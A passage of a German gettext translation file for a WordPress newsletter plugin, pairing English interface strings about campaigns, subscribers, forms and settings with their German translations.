"benötigt %1$s weitere %2$s " #: views/forms/detail.php:412 msgid "Resend confirmation %1$s times with a delay of %2$s hours if user hasn't confirmed the subscription" msgstr "Sende die Bestätigung %1$s mal mit einer Verzögerung von %2$s Stunden falls der Benutzer die Anmeldung noch nicht bestätigt hat" #: views/subscribers/detail.php:502 msgid "resend this campaign" msgstr "diese Kampagne erneut senden" #: views/settings/tags.php:5 msgid "reserved tags" msgstr "reservierte Tags" #: views/newsletter/delivery.php:344 msgid "reset counter" msgstr "Zähler zurücksetzen" #: views/settings/delivery.php:29 msgid "reset these limits" msgstr "Limits zurücksetzen" #: views/newsletter/details.php:39 views/newsletter/details.php:48 #: views/newsletter/details.php:52 msgid "restore default" msgstr "Standard wiederherstellen" #: views/newsletter/optionbar.php:84 msgid "save as a new template file" msgstr "als neue Template Datei speichern" #: includes/capability.php:185 views/newsletter/optionbar.php:28 msgid "save template" msgstr "Template speichern" #: views/newsletter/editbar.php:178 msgid "Search for images" msgstr "Suche nach Bildern" #: views/newsletter/editbar.php:231 msgid "Search for posts" msgstr "Suche nach Artikel" #: includes/cron.php:112 msgid "sec" msgstr "Sek" #: views/settings/cron.php:98 views/settings/cron.php:104 msgctxt "short for second" msgid "sec" msgstr "Sek" #: classes/settings.class.php:1644 views/settings/delivery.php:100 #: views/settings/security.php:20 msgid "seconds" msgstr "Sekunden" #: includes/capability.php:190 msgid "see codeview" msgstr "Codeansicht sehen" #: includes/capability.php:334 msgid "see dashboard widget" msgstr "Dashboard Widget sehen" #: views/settings/wordpress-users.php:13 msgid "select the custom field which should sync with a certain meta field" msgstr "wähle das Benutzerfeld welches mit einem gewissen Metadatenfeld synchronisiert werden soll" #: views/settings/subscribers.php:9 views/settings/subscribers.php:28 msgid "send" msgstr "sende" #: classes/campaigns.class.php:1136 classes/campaigns.class.php:1162 #: classes/campaigns.class.php:1174 msgid "send %1$s %2$s %3$s" msgstr "sende %1$s %2$s %3$s" #: views/newsletter/delivery.php:410 views/newsletter/delivery.php:506 msgid "send campaign only once" msgstr "sende Kampagne nur einmal" #: includes/capability.php:32 msgid "send campaigns" msgstr "Kampagnen senden" #: views/newsletter/delivery.php:268 msgid "send campaigns only on these weekdays" msgstr "Kampagnen nur an diesen Wochentagen senden" #: views/settings/delivery.php:87 msgid "send campaigns simultaneously instead of one after the other" msgstr "Kampagnen gleichzeitig anstelle von hintereinander senden" #: views/settings/wordpress-users.php:104 #: views/settings/wordpress-users.php:131 #: views/settings/wordpress-users.php:150 msgid "send confirmation (double-opt-in)" msgstr "sende Bestätigung (Double-opt-in)" #: classes/campaigns.class.php:1073 classes/campaigns.class.php:1145 msgid "send every %1$s %2$s" msgstr "sende alle %1$s %2$s" #: views/newsletter/delivery.php:127 msgid "send this auto responder" msgstr "sende diesen Autoresponder" #: views/newsletter/delivery.php:59 msgid "send this campaign" msgstr "sende diese Kampagne" #: classes/campaigns.class.php:4578 classes/subscribers.class.php:3700 #: views/newsletter/details.php:95 views/newsletter/details.php:125 msgid "sent" msgstr "gesendet" #: views/newsletter/delivery.php:264 msgid "set an end date for your campaign" msgstr "bestimme ein Enddatum für deine Kampagne" #: views/settings/tags.php:66 msgid "displays the latest posts content" msgstr "zeigt den Inhalt des letzten Artikels" #: classes/cron.class.php:238 classes/cron.class.php:241 #: classes/queue.class.php:1211 msgid "settings page" msgstr "Einstellungsseite" #: views/settings/tags.php:68 msgid "displays the latest posts date" msgstr "zeigt das Datum des letzten Artikels" #: views/settings/tags.php:67 msgid "displays the latest posts excerpt or content if no excerpt is defined" msgstr "zeigt den Auszug des letzten Artikels oder den ganzen Inhalt falls kein Auszug vorhanden ist" #: views/settings/template.php:13 msgid "show Templates" msgstr "zeige Templates" #: views/settings/tags.php:71 msgid "displays the permalink of post ID 15" msgstr "zeigt den Link vom Artikel mit ID 15" #: views/forms/detail.php:310 msgid "Show asterisk on required fields" msgstr "Zeige Sternchen bei Pflichtfeldern" #: views/settings/tags.php:70 msgid "displays the post title of post ID 23" msgstr "zeigt den Titel des Artikels mit der ID 23" #: views/newsletter/optionbar.php:104 msgid "show custom modules by default" msgstr "standardmäßig Benutzerdefinierte Module zeigen" #: classes/widget.class.php:370 msgid "do not round" msgstr "nicht runden" #: views/forms/detail.php:348 msgid "Show drop down instead of check boxes" msgstr "Zeige ein Dropdown Menü anstelle von Checkboxen" #: views/newsletter/editbar.php:33 msgid "does not match regex pattern" msgstr "passt nicht mit regulären Ausdruck" #: views/settings/frontend.php:191 msgid "show only" msgstr "zeige nur" #: views/settings/wordpress-users.php:125 msgid "sign up only if comment is" msgstr "nur wenn Kommmentar ist" #: includes/capability.php:47 msgid "duplicate campaigns" msgstr "Kampagnen duplizieren" #: classes/manage.class.php:414 msgid "skip" msgstr "überspringen" #: includes/capability.php:52 msgid "duplicate others campaigns" msgstr "Kampagnen anderer duplizieren" #: views/newsletter/editbar.php:213 msgid "Dynamic" msgstr "Dynamisch" #: views/setup.php:78 msgid "Skip this Step" msgstr "Diesen Schritt Überspringen" #: views/newsletter/editbar.php:319 msgid "Dynamic content get replaced with the proper content as soon as the campaign get send. Check the quick preview to see the current status of dynamic elements." msgstr "Dynamischer Inhalt wird mit dem eigentlichen Inhalt ersetzt sobald die Kampagne gesendet wird. Verwende die Vorschau um den aktuellen Status dynamischer Elemente zu sehen." #: includes/autoresponder.php:24 msgid "something has been published" msgstr "etwas veröffentlicht wurde" #: classes/subscribers.class.php:3697 views/dashboard/mb-campaigns.php:19 #: views/dashboard/mb-lists.php:11 views/settings/frontend.php:36 msgid "edit" msgstr "bearbeiten" #: views/settings/wordpress-users.php:129 msgid "spam" msgstr "Spam" #: includes/capability.php:170 msgid "edit autoresponders" msgstr "Autoresponder bearbeiten" #: classes/campaigns.class.php:1025 classes/campaigns.class.php:1029 msgid "starts in %s" msgstr "beginnt in %s" #: includes/capability.php:22 msgid "edit campaigns" msgstr "Kampagnen bearbeiten" #: views/newsletter/editbar.php:212 msgid "Static" msgstr "Statisch" #: includes/capability.php:130 includes/capability.php:221 msgid "edit forms" msgstr "Formular bearbeiten" #: classes/settings.class.php:128 msgctxt "subscribe slug" msgid "subscribe" msgstr "anmelden" #: includes/capability.php:267 msgid "edit lists" msgstr "Listen bearbeiten" #: views/forms/detail.php:351 build/forms/form-wrapper/index.js:1 #: build/forms/lists/index.js:1 msgid "Subscribe new users to" msgstr "Neue Benutzer abonnieren folgende Listen" #: includes/capability.php:175 msgid "edit others autoresponders" msgstr "andere Autoresponder bearbeiten" #: classes/subscribers.table.class.php:367 msgid "subscribed" msgstr "abonniert" #: includes/capability.php:27 msgid "edit others campaigns" msgstr "Kampagnen anderer bearbeiten" #: views/subscribers/detail.php:159 msgid "subscribed at" msgstr "angemeldet am" #: includes/capability.php:201 msgid "edit subscribers" msgstr "Abonnenten bearbeiten" #: views/manage/delete.php:24 views/manage/export.php:48 msgid "subscribers not assigned to a list" msgstr "Abonnenten, die nicht in einer Liste sind" #: includes/capability.php:304 msgid "edit templates" msgstr "Templates bearbeiten" #: views/manage/export.php:223 msgid "super extreme high" msgstr "super extrem gut" #: views/manage/export.php:222 msgid "super high" msgstr "super gut" #: views/newsletter/delivery.php:565 msgid "switch to the edit mode" msgstr "zum Bearbeitungsmodus wechseln" #: views/single-newsletter.php:105 msgid "email" msgstr "E-Mail" #: views/newsletter/optionbar.php:81 msgid "template name" msgstr "Name des Templates" #: classes/subscribers.class.php:142 msgid "Emails" msgstr "E-Mails" #: classes/forms.class.php:1677 msgid "embed it somewhere" msgstr "verwende diesen Code auf einer Seite" #: views/newsletter/editbar.php:253 msgid "the eighth latest" msgstr "achtletzten" #: views/settings/frontend.php:172 msgid "enable archive function to display your newsletters in a reverse chronological order" msgstr "verwende eine Archiv um deine Newsletter in umgekehrt-chronologischer Reihe anzuzeigen" #: views/newsletter/editbar.php:256 msgid "the eleventh latest" msgstr "elftletzten" #: views/settings/bounce.php:10 msgid "Enable automatic bounce handling" msgstr "Abgelehnte E-Mails automatische behandeln" #: views/newsletter/editbar.php:241 msgid "the excerpt" msgstr "den Auszug" #: views/newsletter/editbar.php:250 msgid "the fifth latest" msgstr "fünftletzten" #: views/newsletter/delivery.php:257 msgid "end schedule" msgstr "plane bis" #: views/newsletter/editbar.php:249 msgid "the fourth latest" msgstr "viertletzten" #: classes/conditions.class.php:431 classes/conditions.class.php:467 #: views/newsletter/editbar.php:29 msgid "ends with" msgstr "endet mit" #: views/newsletter/editbar.php:241 msgid "the full content" msgstr "den gesamten Inhalt" #: views/settings/authentication.php:96 msgid "enter keys manually" msgstr "Schlüssel manuell eingeben" #: views/newsletter/editbar.php:246 msgid "the latest" msgstr "letzten" #: views/settings/texts.php:53 msgid "Enter your email" msgstr "E-Mailaddresse angeben" #: views/newsletter/editbar.php:254 msgid "the ninth latest" msgstr "neuntletzten" #: views/newsletter/editbar.php:247 msgid "the second latest" msgstr "zweitletzten" #: classes/settings.class.php:340 msgid "the settings page" msgstr "der Einstellungsseite" #: classes/campaigns.class.php:1787 msgid "error!" msgstr "Fehler!" #: views/newsletter/editbar.php:252 msgid "the seventh latest" msgstr "siebtletzten" #: views/newsletter/delivery.php:382 msgid "every %1$s %2$s" msgstr "jede(r) %1$s %2$s" #: views/newsletter/editbar.php:251 msgid "the sixth latest" msgstr "sechstletzten" #: views/newsletter/editbar.php:219 msgid "Excerpt" msgstr "Auszug" #: views/newsletter/editbar.php:255 msgid "the tenth latest" msgstr "zehntletzten" #: includes/capability.php:252 msgid "export subscribers" msgstr "Abonnenten exportieren" #: views/newsletter/editbar.php:248 msgid "the third latest" msgstr "drittletzten" #: views/newsletter/editbar.php:257 msgid "the twelfth latest" msgstr "zwölftletzten" #: views/forms/detail.php:316 msgid "Fill fields with known data if user is logged in" msgstr "Felder mit bekannten Daten ausfüllen, falls Benutzer angemeldet ist" #: classes/automation.class.php:882 views/settings/frontend.php:194 #: build/workflows/triggers/index.js:1 msgid "finished" msgstr "beendete" #: classes/subscribers.class.php:90 msgid "This email address already exists!" msgstr "Diese E-Mailadresse existiert bereits" #: views/newsletter/delivery.php:557 msgid "finished in approx. %s" msgstr "beendet in ca. %s" #: classes/settings.class.php:412 views/settings/subscribers.php:107 #: views/settings/subscribers.php:120 msgid "this field is selected by default" msgstr "dieses Feld ist standardmäßig ausgewählt" #: classes/widget.class.php:376 msgid "format number" msgstr "Zahl formatieren" #: classes/settings.class.php:273 classes/upgrade.class.php:2211 #: includes/updates.php:74 msgid "forward to a friend" msgstr "an einen Freund weiterleiten" #: classes/rest-controller/rest.form.class.php:184 #: classes/subscribers.class.php:89 classes/subscribers.class.php:1035 msgid "This isn't a valid email address!" msgstr "Das ist keine gültige E-Mailadresse!" #: classes/queue.class.php:1209 msgid "timeout reached" msgstr "Servertimeout erreicht" #: views/newsletter/editbar.php:303 views/subscribers/detail.php:341 msgid "from" msgstr "von" #: views/settings/authentication.php:21 msgid "to get help here" msgstr "um Hilfe zu erhalten" #: classes/notification.class.php:1074 msgid "from other countries" msgstr "von anderen Ländern" #: views/newsletter/optionbar.php:21 msgid "toggle HTML/Plain-Text view" msgstr "zwischen HTML- und Textansicht umschalten" #: classes/notification.class.php:315 msgid "from your settings page" msgstr "von den Einstellungen" #: views/newsletter/optionbar.php:18 msgid "toggle HTML/code view" msgstr "zwischen HTML und Codeansicht umschalten" #: classes/tests.class.php:590 msgid "frontend settings page" msgstr "Frontend Einstellung" #: views/manage/delete.php:17 views/manage/export.php:40 #: views/manage/method-wordpress.php:9 views/manage/method-wordpress.php:26 #: views/newsletter/receivers.php:36 views/settings/capabilities.php:16 msgid "toggle all" msgstr "alle umschalten" #: views/newsletter/editbar.php:220 msgid "Full Content" msgstr "Gesamter Inhalt" #: views/newsletter/details.php:85 msgid "took %s" msgstr "brauchte %s" #: views/settings/authentication.php:94 msgid "generate Keys" msgstr "Schlüssel generieren" #: classes/automation.class.php:883 views/manage/delete.php:19 #: views/manage/delete.php:24 views/manage/export.php:43 #: views/manage/export.php:48 build/workflows/triggers/index.js:1 msgid "total" msgstr "gesamt" #: views/settings/template.php:13 msgid "get more" msgstr "mehr" #: views/newsletter/template.php:60 msgid "get text from HTML version" msgstr "lade Text von der HTML Version" #: views/subscribers/detail.php:65 msgid "goto WordPress User profile" msgstr "zum WordPress Benutzerprofil" #: classes/subscribers.class.php:4142 msgid "Hardbounced" msgstr "Unzustellbar" #: classes/forms.table.class.php:117 classes/lists.class.php:352 #: classes/tags.class.php:67 msgid "undefined" msgstr "unbenannt" #: classes/campaigns.class.php:1159 views/newsletter/delivery.php:428 msgid "has been clicked" msgstr "geklickt wurde" #: views/newsletter/optionbar.php:12 msgid "undo" msgstr "rückgängig" #: classes/campaigns.class.php:1158 views/newsletter/delivery.php:427 msgid "has been opened" msgstr "geöffnet wurde" #: classes/ajax.class.php:1197 classes/campaigns.class.php:5185 #: classes/forms.table.class.php:180 classes/notification.class.php:595 #: classes/subscribers.table.class.php:280 views/newsletter/details.php:169 #: views/subscribers/detail.php:54 views/subscribers/detail.php:163 #: views/subscribers/detail.php:177 views/subscribers/detail.php:180 msgid "unknown" msgstr "unbekannt" #: classes/campaigns.class.php:1157 views/newsletter/delivery.php:426 msgid "has been sent" msgstr "gesendet wurde" #: classes/campaigns.class.php:4547 msgid "unopens" msgstr "ungeöffnete" #: classes/campaigns.class.php:4580 msgid "has not opened yet" msgstr "hat bis jetzt noch nicht geöffnet" #: includes/updates.php:46 msgid "unsubscribe" msgstr "Abmeldung" #: classes/campaigns.class.php:4580 msgid "has opened" msgstr "hat geöffnet" #: classes/settings.class.php:129 msgctxt "unsubscribe slug" msgid "unsubscribe" msgstr "abmelden" #: classes/campaigns.class.php:4584 msgid "has unsubscribed" msgstr "hat sich abgemeldet" #: classes/settings.class.php:271 msgctxt "unsubscribelink" msgid "unsubscribe" msgstr "abmelden" #: classes/forms.class.php:1702 msgid "height" msgstr "Höhe" #: views/lists/detail.php:123 msgid "unsubscribe rate" msgstr "Abmelderate" #: classes/queue.class.php:1043 classes/templates.class.php:1116 #: includes/updates.php:585 views/settings/cron.php:27 #: views/settings/cron.php:60 views/setup/basics.php:43 msgid "here" msgstr "hier" #: classes/subscribers.table.class.php:368 msgid "unsubscribed" msgstr "abgemeldet" #: views/manage/export.php:221 msgid "high" msgstr "gut" #: views/subscribers/detail.php:461 msgid "unsubscribed your newsletter" msgstr "meldete sich ab" #: classes/campaigns.class.php:1057 classes/conditions.class.php:833 #: includes/autoresponder.php:7 views/newsletter/delivery.php:226 msgid "hour(s)" msgstr "Stunde(n)" #: classes/campaigns.class.php:4553 msgid "unsubscribes" msgstr "Abmeldungen" #: classes/forms.class.php:1696 msgid "iFrame Version" msgstr "iFrame Version" #: classes/campaigns.class.php:1102 msgid "until %s" msgstr "bis %s" #: classes/template.class.php:638 msgctxt "common module name" msgid "iPhone Promotion" msgstr "iPhone Promotion" #: views/addons/addon.php:39 views/addons/addon.php:52 #: views/templates/template.php:56 views/templates/template.php:69 msgid "Update now" msgstr "jetzt aktualisieren" #: views/newsletter/editbar.php:87 views/newsletter/editbar.php:198 msgid "image description" msgstr "Bildbeschreibung" #: classes/settings.class.php:274 classes/upgrade.class.php:2212 msgid "update profile" msgstr "Profil aktualisieren" #: classes/campaigns.class.php:1163 classes/campaigns.class.php:1175 #: views/settings/subscribers.php:12 views/settings/subscribers.php:31 #: build/forms/form-wrapper/index.js:1 msgid "immediately" msgstr "sofort" #: includes/capability.php:247 msgid "import WordPress Users" msgstr "WordPress Benutzer importieren" #: includes/capability.php:319 msgid "update templates" msgstr "Templates aktualisieren" #: classes/subscribers.class.php:856 msgid "import on %s" msgstr "importiert am %s" #: views/dashboard/mb-mailster.php:54 msgid "update to %s now" msgstr "jetzt auf %s aktualisieren" #: includes/capability.php:242 msgid "import subscribers" msgstr "Abonnenten importieren" #: classes/subscribers.class.php:3711 msgctxt "in [city], [country]" msgid "in %1$s, %2$s" msgstr "in %1$s, %2$s" #: classes/forms.class.php:610 msgid "updating form requires ID" msgstr "das Aktualisieren erfordert eine ID" #: classes/campaigns.class.php:1050 msgid "inactive" msgstr "inaktiv" #: includes/capability.php:314 msgid "upload templates" msgstr "Templates hochladen" #: views/newsletter/optionbar.php:102 msgid "include original modules from %s" msgstr "original Module von %s einschließen " #: classes/forms.class.php:1703 msgid "include themes style.css" msgstr "verwende Themes style.css" #: views/manage/method-upload.php:2 msgid "Upload you subscribers as comma-separated list (CSV)" msgstr "Lade deine Abonnenten als CSV Datei hoch" #: views/newsletter/editbar.php:68 views/newsletter/editbar.php:97 #: views/newsletter/editbar.php:199 msgid "insert URL" msgstr "URL einfügen" #: classes/templates.class.php:869 msgid "uploading zip file %s" msgstr "Hochladen der ZIP Datei %s" #: classes/mailster.class.php:1625 classes/manage.class.php:132 msgid "Uploading...%s" msgstr "upload..%s" #: classes/conditions.class.php:426 classes/conditions.class.php:447 #: classes/conditions.class.php:462 classes/conditions.class.php:479 #: views/newsletter/editbar.php:24 msgid "is" msgstr "ist" #: views/settings/general.php:45 views/settings/subscribers.php:7 #: views/settings/subscribers.php:25 msgid "use" msgstr "verwende" #: classes/conditions.class.php:432 classes/conditions.class.php:449 #: views/newsletter/editbar.php:30 msgid "is greater" msgstr "ist größer" #: views/subscribers/detail.php:116 views/subscribers/detail.php:132 #: views/subscribers/detail.php:133 views/subscribers/detail.php:134 #: views/subscribers/detail.php:200 msgid "use %1$s as placeholder tag to replace it with %2$s" msgstr "verwende %1$s als Platzhalter um ihn mit %2$s zu ersetzen" #: classes/conditions.class.php:434 classes/conditions.class.php:451 msgid "is greater or equal" msgstr "ist größer od. gleich" #: views/newsletter/editbar.php:346 msgid "use HighDPI/Retina ready images if available" msgstr "verwende HighDPI/Retina ready Bilder falls verfügbar" #: classes/conditions.class.php:427 classes/conditions.class.php:448 #: classes/conditions.class.php:463 classes/conditions.class.php:480 #: views/newsletter/editbar.php:25 msgid "is not" msgstr "ist nicht" #: views/newsletter/delivery.php:491 msgid "use `do_action(\"hook_name\")`, or `do_action(\"hook_name\", $subscriber_id)` to trigger this campaign" msgstr "verwende `do_action(\"hook_name\")` oder `do_action(\"hook_name\", $subscriber_id)` um diese Kampagne zu starten" #: classes/conditions.class.php:433 classes/conditions.class.php:450 #: views/newsletter/editbar.php:31 msgid "is smaller" msgstr "ist kleiner" #: views/newsletter/editbar.php:220 msgid "use the content" msgstr "verwende den gesamten Inhalt" #: classes/conditions.class.php:435 classes/conditions.class.php:452 msgid "is smaller or equal" msgstr "ist kleiner od. gleich" #: views/newsletter/editbar.php:219 msgid "use the excerpt if exists otherwise use the content" msgstr "verwende den Auszug falls einer vorhanden ist, sonst den Inhalt" #: views/settings/wordpress-users.php:6 msgid "keep WordPress User data and Subscriber data synchronized. Only affects existing Subscribers" msgstr "hält WordPress Benutzer und Abonnenten synchron. Nur für existierende Abonnenten" #: classes/placeholder.class.php:1361 msgid "use the tag %s as url in the editbar" msgstr "verwende den tag %s als URL in der Bearbeitungspaneele " #: views/settings/cron.php:51 msgid "knowledge base" msgstr "Knowledge Base" #: views/forms/detail.php:331 msgid "Use this form as user profile." msgstr "Verwende diese Formular als Profil" #: views/subscribers/detail.php:180 msgid "latest known IP" msgstr "letzte bekannte IP" #: views/forms/detail.php:405 msgid "Used template file" msgstr "Verwendete Datei" #: views/subscribers/detail.php:184 msgid "latest updated" msgstr "letztes Update" #: includes/autoresponder.php:16 msgid "user signed up" msgstr "Benutzer sich angemeldet hat" #: classes/campaigns.class.php:1029 msgid "less than a minute" msgstr "weniger als einer Minute" #: includes/autoresponder.php:20 msgid "user unsubscribed" msgstr "Benutzer sich abgemeldet hat" #: classes/template.class.php:1172 msgid "light" msgstr "hell" #: views/forms/detail.php:352 build/forms/form-wrapper/index.js:1 #: build/forms/lists/index.js:1 msgid "Users can subscribe to" msgstr "Benutzer können folgende Listen abonnieren" #: classes/ajax.class.php:2659 msgid "load it" msgstr "laden" #: views/forms/detail.php:347 build/forms/form-wrapper/index.js:1 #: build/forms/lists/index.js:1 msgid "Users decide which list they subscribe to" msgstr "Benutzer entscheiden welche Listen sie abonnieren möchten" #: classes/ajax.class.php:1525 classes/ajax.class.php:1578 msgid "Load more entries (%s left)" msgstr "Lade weitere Einträge (noch %s)" #: views/settings/wordpress-users.php:93 msgid "users to subscribe" msgstr "Besucher sich anzumelden" #: classes/campaigns.class.php:4601 classes/campaigns.class.php:4746 msgid "load more recipients from this campaign" msgstr "lade mehr Empfänger dieser Kampagne" #: views/manage/method-wordpress.php:18 msgid "users without a role" msgstr "Benutzer ohne Rolle" #: classes/campaigns.class.php:1738 msgid "loading" msgstr "Lade" #: classes/ajax.class.php:2213 msgid "verified" msgstr "verifiziert" #: classes/notification.class.php:1024 msgid "location of %d subscriber" msgid_plural "location of %d subscribers" msgstr[0] "Ort von %d Abonnent" msgstr[1] "Ort von %d Abonnenten" #: classes/subscribers.class.php:856 classes/subscribers.class.php:863 #: classes/subscribers.class.php:868 classes/subscribers.class.php:873 #: classes/subscribers.class.php:878 classes/subscribers.class.php:886 #: classes/subscribers.class.php:889 classes/subscribers.class.php:892 msgid "via" msgstr "über" #: views/manage/export.php:219 msgid "low" msgstr "niedrig" #: views/dashboard/mb-mailster.php:52 msgid "view changelog" msgstr "Änderungen anzeigen" #: classes/manage.class.php:423 msgid "Low memory usage (slower)" msgstr "Verwende weniger Speicher (langsamer)" #: views/settings/frontend.php:38 msgid "visit" msgstr "ansehen" #: includes/capability.php:294 msgid "manage addons" msgstr "Erweiterungen managen" #: classes/settings.class.php:272 includes/updates.php:47 msgid "webversion" msgstr "Webversion" #: includes/capability.php:339 msgid "manage capabilities" msgstr "Berechtigungen bearbeiten" #: classes/campaigns.class.php:1059 classes/conditions.class.php:835 #: includes/autoresponder.php:9 views/newsletter/delivery.php:228 #: views/newsletter/delivery.php:361 msgid "week(s)" msgstr "Woche(n)" #: includes/capability.php:344 msgid "manage licenses" msgstr "Lizenzen managen" #: views/settings/subscribers.php:14 views/settings/subscribers.php:33 msgid "weekly" msgstr "wöchentlich" #: includes/capability.php:237 msgid "manage subscribers" msgstr "Abonnenten verwalten" #: includes/capability.php:299 msgid "manage templates" msgstr "Templates verwalten" #: classes/campaigns.class.php:4455 views/newsletter/receivers.php:106 msgid "who have not opened" msgstr "die nicht geöffnet haben" #: views/settings/wordpress-users.php:54 msgid "manually sync all existing users based on the above settings. (save required)" msgstr "synchronisiere alle existierenden Benutzer anhand der obigen Einteilungen (erfordert ein Speichern)" #: classes/campaigns.class.php:4451 views/newsletter/receivers.php:102 msgid "who have not received" msgstr "die nicht erhalten haben" #: classes/conditions.class.php:436 classes/conditions.class.php:468 #: views/newsletter/editbar.php:32 msgid "match regex pattern" msgstr "passt mit regulären Ausdruck" #: classes/campaigns.class.php:4452 views/newsletter/receivers.php:103 msgid "who have opened" msgstr "die geöffnet haben" #: classes/manage.class.php:416 msgid "merge" msgstr "zusammenführen" #: classes/campaigns.class.php:4454 views/newsletter/receivers.php:105 msgid "who have opened and clicked" msgstr "die geöffnet und geklickt haben" #: views/settings/delivery.php:95 msgid "milliseconds" msgstr "Millisekunden" #: classes/campaigns.class.php:4453 views/newsletter/receivers.php:104 msgid "who have opened but not clicked" msgstr "die geöffnet aber nicht geklickt haben" #: classes/campaigns.class.php:4450 views/newsletter/receivers.php:101 msgid "who have received" msgstr "die erhalten haben" #: classes/campaigns.class.php:1056 classes/conditions.class.php:832 #: includes/autoresponder.php:6 msgid "minute(s)" msgstr "Minute(n)" #: views/settings/cron.php:109 msgid "why?" msgstr "warum?" #: classes/campaigns.class.php:1060 classes/conditions.class.php:836 #: includes/autoresponder.php:10 views/newsletter/delivery.php:229 #: views/newsletter/delivery.php:362 msgid "month(s)" msgstr "Monat(e)" #: classes/forms.class.php:1587 msgid "widget" msgstr "Widget" #: views/settings/subscribers.php:15 views/settings/subscribers.php:34 msgid "monthly" msgstr "monatlich" #: classes/forms.class.php:1701 msgid "width" msgstr "Breite" #: views/subscribers/detail.php:171 msgid "more" msgstr "mehr" #: views/newsletter/optionbar.php:103 msgid "will append the existing modules to your custom ones" msgstr "hängt die existierenden Module zu deinen eigenen an" #: classes/settings.class.php:419 views/settings/subscribers.php:88 #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "move down" msgstr "nach unten bewegen" #: classes/subscribers.class.php:3705 msgid "with %s" msgstr "mit %s" #: classes/settings.class.php:418 views/settings/subscribers.php:87 #: build/forms/form-wrapper/index.js:1 build/forms/lists/index.js:1 msgid "move up" msgstr "nach oben bewegen" #: views/subscribers/detail.php:176 msgid "with IP %s" msgstr "mit IP %s" #: views/settings/cron.php:108 views/subscribers/detail.php:188 #: build/forms/form-wrapper/index.js:1 msgid "never" msgstr "nie" #: views/settings/authentication.php:85 msgid "new Keys" msgstr "neue Schlüssel" #: classes/campaigns.class.php:4988 msgid "wrong post type" msgstr "ungültiger Posttype" #: views/settings/wordpress-users.php:91 msgid "new WordPress users can choose to sign up on the register page" msgstr "neue WordPress User können sich auf der Registrierungsseite anmelden" #: classes/campaigns.class.php:1061 includes/autoresponder.php:11 #: views/newsletter/delivery.php:363 msgid "year(s)" msgstr "Jahr(e)" #: views/settings/texts.php:52 msgid "New confirmation message" msgstr "Neue Benachrichtigung" #: classes/notification.class.php:769 views/subscribers/detail.php:230 msgid "yes" msgstr "ja" #: views/forms/detail.php:378 msgid "new subscribers are subscribed instantly without confirmation." msgstr "neue Abonnenten werden sofort angemeldet ohne dies zu bestätigen." #: views/settings/tags.php:69 msgid "you can also use absolute values" msgstr "Du kannst auch absolute Werte verwenden" #: views/forms/detail.php:380 msgid "new subscribers must confirm their subscription." msgstr "neue Abonnenten müssen ihre Anmeldung betätigen." #: classes/update.class.php:186 msgid "your new site" msgstr "deine neuen Seite" #: includes/static.php:70 msgctxt "Newsletter Homepage page slug" msgid "newsletter-signup" msgstr "newsletter-anmeldung" #: classes/campaigns.class.php:1726 classes/campaigns.class.php:1770 #: classes/lists.class.php:62 classes/manage.class.php:91 #: classes/subscribers.class.php:83 classes/subscribers.class.php:113 msgid "next" msgstr "nächster" #: classes/campaigns.class.php:1081 msgid "next campaign in %s" msgstr "nächste Kampagne in %s" #: views/newsletter/delivery.php:239 msgid "next schedule" msgstr "Nächster Start" #: classes/manage.import.wordpress.php:68 msgid "Nickname" msgstr "Spitzname" #: classes/notification.class.php:769 views/subscribers/detail.php:230 msgid "no" msgstr "nein" #: classes/ajax.class.php:2172 msgid "no TXT record found" msgstr "kein TXT Eintrag gefunden" #: views/lists/detail.php:193 views/subscribers/detail.php:530 msgid "no activity yet" msgstr "keine Aktivitäten bis jetzt" #: views/lists/detail.php:82 msgid "no description" msgstr "keine Beschreibung" #: classes/ajax.class.php:1532 classes/ajax.class.php:1586 msgid "No entries found!" msgstr "Keine Einträge gefunden" #: classes/campaigns.class.php:1215 views/newsletter/receivers.php:77 msgid "no lists selected" msgstr "keine Liste ausgewählt" #: views/newsletter/details.php:90 msgid "no preheader" msgstr "kein Preheader" #: classes/campaigns.class.php:1002 classes/campaigns.class.php:1014 msgid "no receivers!" msgstr "Keine Empfänger!" #: classes/manage.class.php:983 msgid "No Subscribers found!" msgstr "Keine Abonnenten gefunden!" #: classes/manage.class.php:1435 msgid "No Subscribers removed." msgstr "Keine Abonnenten entfernt." #: classes/conditions.class.php:988 classes/conditions.class.php:1019 #: classes/conditions.class.php:1046 #: classes/rest-controller/rest.automations.class.php:313 #: views/newsletter/delivery.php:448 msgid "no title" msgstr "kein Titel" #: classes/settings.class.php:1650 classes/settings.class.php:1661 #: views/settings/bounce.php:39 msgid "none" msgstr "keine" #: views/manage/export.php:220 msgid "normal" msgstr "normal" #: views/settings/wordpress-users.php:128 msgid "not approved" msgstr "nicht genehmigt" #: classes/ajax.class.php:2217 msgid "not verified" msgstr "nicht verifiziert" #: classes/subscribers.class.php:3700 classes/subscribers.class.php:3701 msgid "not yet" msgstr "noch nicht" #: views/subscribers/detail.php:207 msgid "nothing selected" msgstr "nichts ausgewählt" #: views/newsletter/delivery.php:391 msgid "of the users %1$s value" msgstr "des Benutzers %1$s Wert" #: views/settings/privacy.php:52 msgid "official website" msgstr "offiziellen Webseite" #: views/newsletter/delivery.php:386 msgid "on the exact date" msgstr "beim exaktem Datum" #: classes/notification.class.php:176 classes/notification.class.php:205 msgid "on your settings page" msgstr "in den Einstellungen" #: views/newsletter/delivery.php:166 msgid "only for subscribers who canceled their subscription" msgstr "nur für Abonnenten, die sich nach diesem Datum abgemeldet haben" #: views/newsletter/delivery.php:163 msgid "only for subscribers who signed up" msgstr "nur für Abonnenten, die sich nach diesem Datum angemeldet haben" #: classes/campaigns.class.php:1222 views/newsletter/delivery.php:283 #: views/newsletter/receivers.php:84 build/workflows/jumper/index.js:1 msgid "only if" msgstr "nur wenn" #: classes/campaigns.class.php:1125 msgctxt "only on [weekdays]" msgid "only on %s" msgstr "nur an %s" #: views/settings/wordpress-users.php:153 msgid "only with these user roles:" msgstr "nur mit diesen Rollen:" #: views/lists/detail.php:117 views/subscribers/detail.php:375 msgid "open rate" msgstr "Öffnungsrate" #: classes/ajax.class.php:1135 classes/campaigns.class.php:4379 msgid "opened" msgid_plural "opens" msgstr[0] "geöffnet" msgstr[1] "geöffnet" #: views/subscribers/detail.php:449 msgid "opened Campaign %s" msgstr "öffnet Kampagne %s" #: classes/ajax.class.php:1174 classes/campaigns.class.php:4548 #: classes/subscribers.class.php:3701 msgid "opens" msgstr "geöffnet" #: classes/addons.class.php:280 classes/campaigns.class.php:742 #: classes/campaigns.class.php:1740 classes/conditions.class.php:597 #: classes/conditions.class.php:599 classes/conditions.class.php:603 #: classes/conditions.class.php:609 classes/conditions.class.php:615 #: 